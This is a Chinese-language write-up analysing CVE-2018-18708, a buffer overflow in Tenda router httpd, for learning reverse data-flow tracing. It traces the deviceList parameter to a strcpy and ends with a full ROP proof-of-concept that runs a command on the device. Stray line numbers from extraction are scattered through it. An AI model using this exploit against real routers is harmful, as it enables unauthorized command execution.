CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

首发于:https://www.anquanke.com/post/id/204403

摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法。

假设读者:了解ARM指令集基础知识、了解栈溢出原理和利用方法、了解通过IDA和GDB进行静态分析与动态跟踪的方法。

阅读本文后:可以了解逆向数据流跟踪的思路与方法

1. 漏洞概要

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
-w850

对于该漏洞,并未搜索到现有的漏洞分析文章,漏洞提交者仅通过上图指出漏洞所在的地方,剩下的如何触发利用就需要我们来跟踪分析了。

测试环境:Kali 2020 5.4.0-kali3-amd64
固件下载地址:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip

2. 固件模拟

qemu模拟运行bin/httpd文件时,sub_2E420函数中会检测网络,需要在下图标号1和标号2处对返回值进行patch进行绕过。


同时添加并配置虚拟网桥br0,如此就能跑起来了。
-w776

3. 跟踪与分析

分析一般有两种思路:

  • 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑。
  • 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。

因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪的方式。根据图中的字符串,检索到代码位于sub_c24C0中。

3.1 梳理函数调用关系

在我们之前解决网络问题时程序已经执行到了sub_2E420函数,而溢出点位于sub_c24C0函数。因此我们将这中间的函数调用过程都梳理出来:

1
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420

3.2 跟踪参数来源

跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
(1)源地址s来源于sub_C24C0的a1参数

1
2
3
4
5
6
7
8
9
sub_C24C0(a1,a2){
dest = a2
s = a1
src = a1中的'\r'位置
if (src){
strcpy(dest +32, s)
strcpy(dest, src)
}
}

(2)sub_C24C0的a1参数来源于sub_C17A0的a2参数

1
2
3
4
5
sub_C17A0(a1, a2, a3){
v5=a2
v21为本地变量 160字节
sub_C24C0(v5, v21)
}

(3)sub_C17A0的a2参数来源于sub_C14DC的a2参数

1
2
3
4
5
sub_C14DC(a1, a2){
s = a2
if(*s){
sub_C17A0(v4, s, v16)
}

(4)sub_C14DC的a2参数来源于formSetMacFilterCfg函数的v39

1
2
3
4
5
6
7
8
formSetMacFilterCfg(){
v40 = sub_2BA8C(v3, "macFilterType", &unk_F5124)
v41 = sub_C10D0(V40)
if (not v41){
v39 = sub_2BA8C(v3, "deviceList", &unk_F5124)
sub_C14DC(v40, v39)
}
}

变量v39是

"deviceList", &unk_F5124)```函数的返回值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。
### 3.3 路径中的分支跳转条件
之前得到了函数调用关系:
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420

我们需要对路径中的分支跳转判断条件一一满足,这里配合使用IDA的Graph视图、反编译和GDB动态调试来完成分析。

(1)sub_2E9EC <- sub_2E420
网络检测后,无分支。
(2)sub_42378 <- sub_2E9EC
有分支判断,但已经满足。

(3)formSetMacfiltercfg <- sub_42378
![](/images/15886748722712.jpg)
如上图,该函数中有对不同功能的处理函数。显然请求到指定路径,会调用相应的处理函数,我们得找到执行formSetMacfiltercfg函数的路径。

在函数中没有找到url路径相关的信息,翻了下固件文件系统,发现了```webroot_ro/goform/setMacFilterCfg.txt```文件。

通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。

(4)sub_C14DC <- formSetMacfiltercfg
![](/images/15886764409149.jpg)
如上图,需要让v41=0,而v41来自于sub_C10D0函数对macFilterType的参数的处理。

我们进入sub_C10D0函数看看macFilterType需要如何设置,反编译后代码逻辑还是很清晰的,只需要v3等于“black”或“white”即可返回0,如下图所示。
![](/images/15886496980438.jpg)

进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。

data = {“macFilterType”: “white”, “deviceList”: payload}

1
2
3
4
5
6
7
8
9
10
11
(5)sub_C17A0 <- sub_C14DC
有分支判断,但条件已满足。
(6)sub_C24C0 <- sub_C17A0
有分支判断,但条件已满足。
(7)sub_C24C0
如下图所示,检测deviceList内容是否包含'\r',随后进入分支执行漏洞代码。
![](/images/15886823208317.jpg)


### 3.4 溢出触发测试
根据上一节的分析,我们整理处HTTP POST的请求内容。

import requests

url = “http://192.168.2.111/goform/setMacFilterCfg"
cookie = {“Cookie”:”password=12345”}
data = {“macFilterType”: “white”, “deviceList”: “\r”+ “A”*500}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
发送后,gdb得到预想中的报错信息,返回地址被覆盖。
![-w558](/images/15886630039130.jpg)

## 4.漏洞利用
(1)寻找偏移量
利用cyclic找到偏移量
![-w703](/images/15886634147044.jpg)

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。

![-w354](/images/15886635848371.jpg)

(2)确定利用方案
使用checksec检查二进制文件的保护措施,开启了NX保护,选择用ROP绕过。
![-w769](/images/15886640578587.jpg)


(3)构造ROP Chain
获取libc.so基地址。
![-w978](/images/15886639444818.jpg)
获取system函数偏移量。
![-w771](/images/15886698544187.jpg)
寻找gadets。

ROPgadget –binary ./lib/libc.so.0 | grep “mov r0, sp”
0x00040cb8 : mov r0, sp ; blx r3

ROPgadget –binary ./lib/libc.so.0 –only “pop”| grep r3
0x00018298 : pop {r3, pc}

1
最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:

import requests
from pwn import *

cmd=”echo hello”
libc_base = 0xff58c000
system_offset = 0x5a270
gadget1_offset = 0x18298
gadget2_offset = 0x40cb8
system_addr = libc_base + system_offset
gadget1 = libc_base + gadget1_offset
gadget2 = libc_base + gadget2_offset

payload = “A”*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = “http://192.168.2.111/goform/setMacFilterCfg"
cookie = {“Cookie”:”password=12345”}
data = {“macFilterType”: “white”, “deviceList”: “\r”+payload}
requests.post(url, cookies=cookie, data=data)
`

查看程序的打印信息,cmd中的echo指令已经被执行。
-w317

PS:中间有些细节省略掉了,只给出了关键步奏。如果看不明白,可以参考之前写的文章《写给初学者的实战教程之ARM栈溢出》,分析的是同一款路由器的其他漏洞。

##参考

https://github.com/ZIllR0/Routers/blob/master/Tenda/stack1.md
https://www.anquanke.com/vul/id/1375399